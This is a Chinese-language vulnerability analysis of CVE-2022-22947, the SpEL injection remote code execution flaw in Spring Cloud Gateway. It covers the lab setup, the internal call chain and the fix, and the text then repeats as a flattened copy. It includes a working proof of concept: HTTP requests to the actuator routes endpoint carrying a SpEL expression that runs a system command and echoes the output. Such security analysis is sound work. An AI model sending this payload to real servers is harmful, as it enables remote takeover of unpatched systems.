CVE-2022-22947 SpringCloud GateWay SPEL RCE分析
字数 1170 2025-08-29 08:31:47

Spring Cloud Gateway SPEL RCE漏洞分析(CVE-2022-22947)教学文档

漏洞概述

CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞,由于对用户提供的SpEL表达式处理不当,导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。

漏洞环境搭建

  1. 克隆Spring Cloud Gateway仓库:
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

漏洞复现POC

添加恶意路由

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
    "id": "hacktest",
    "filters": [{
        "name": "AddResponseHeader",
        "args": {
            "name": "Result",
            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
        }
    }],
    "uri": "http://example.com"
}

刷新路由使配置生效

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close

漏洞分析

漏洞根源

漏洞的根本原因是存在SpEL注入,关键点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue方法。

漏洞触发链

  1. ShortcutConfigurable.ShortcutType枚举中调用了getValue函数
  2. shortcutType方法调用了ShortcutType.DEFAULT枚举
  3. org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties调用了shortcutType函数
  4. normalizeProperties函数对成员变量properties进行处理
  5. ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数
  6. bind方法被loadGatewayFilters调用
  7. 完整的调用链:
    RouteDefinitionRouteLocator#loadGatewayFilters 
    → RouteDefinitionRouteLocator#getFilters 
    → RouteDefinitionRouteLocator#convertToRoute 
    → RouteDefinitionRouteLocator#getRoutes 
    → GatewayControllerEndpoint#route
    

路由添加过程分析

  1. 添加路由时构造RouteDefinition结构,包含:

    • id: 路由ID
    • filters: 过滤器数组
    • uri: 目标URI
  2. FilterDefinition结构:

    • name: 过滤器名称
    • args: 参数键值对
  3. validateRouteDefinition函数会校验添加的路由name是否与已有的filter匹配

    • 系统默认有29个filter
    • POC中选择AddResponseHeader因为它能够回显结果

漏洞修复

修复方案主要是对SpEL表达式进行安全处理,避免直接执行用户输入的表达式。

总结

该漏洞利用Spring Cloud Gateway的路由配置功能,通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单,但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。

参考链接

  • https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response
Spring Cloud Gateway SPEL RCE漏洞分析(CVE-2022-22947)教学文档 漏洞概述 CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞,由于对用户提供的SpEL表达式处理不当,导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。 漏洞环境搭建 克隆Spring Cloud Gateway仓库: 漏洞复现POC 添加恶意路由 刷新路由使配置生效 漏洞分析 漏洞根源 漏洞的根本原因是存在SpEL注入,关键点在 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 方法。 漏洞触发链 ShortcutConfigurable.ShortcutType 枚举中调用了 getValue 函数 shortcutType 方法调用了 ShortcutType.DEFAULT 枚举 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties 调用了 shortcutType 函数 normalizeProperties 函数对成员变量 properties 进行处理 ConfigurableBuilder 的父类 AbstractBuilder#bind 中调用了 normalizeProperties 函数 bind 方法被 loadGatewayFilters 调用 完整的调用链: 路由添加过程分析 添加路由时构造 RouteDefinition 结构,包含: id: 路由ID filters: 过滤器数组 uri: 目标URI FilterDefinition 结构: name: 过滤器名称 args: 参数键值对 validateRouteDefinition 函数会校验添加的路由name是否与已有的filter匹配 系统默认有29个filter POC中选择 AddResponseHeader 因为它能够回显结果 漏洞修复 修复方案主要是对SpEL表达式进行安全处理,避免直接执行用户输入的表达式。 总结 该漏洞利用Spring Cloud Gateway的路由配置功能,通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单,但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。 参考链接 https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response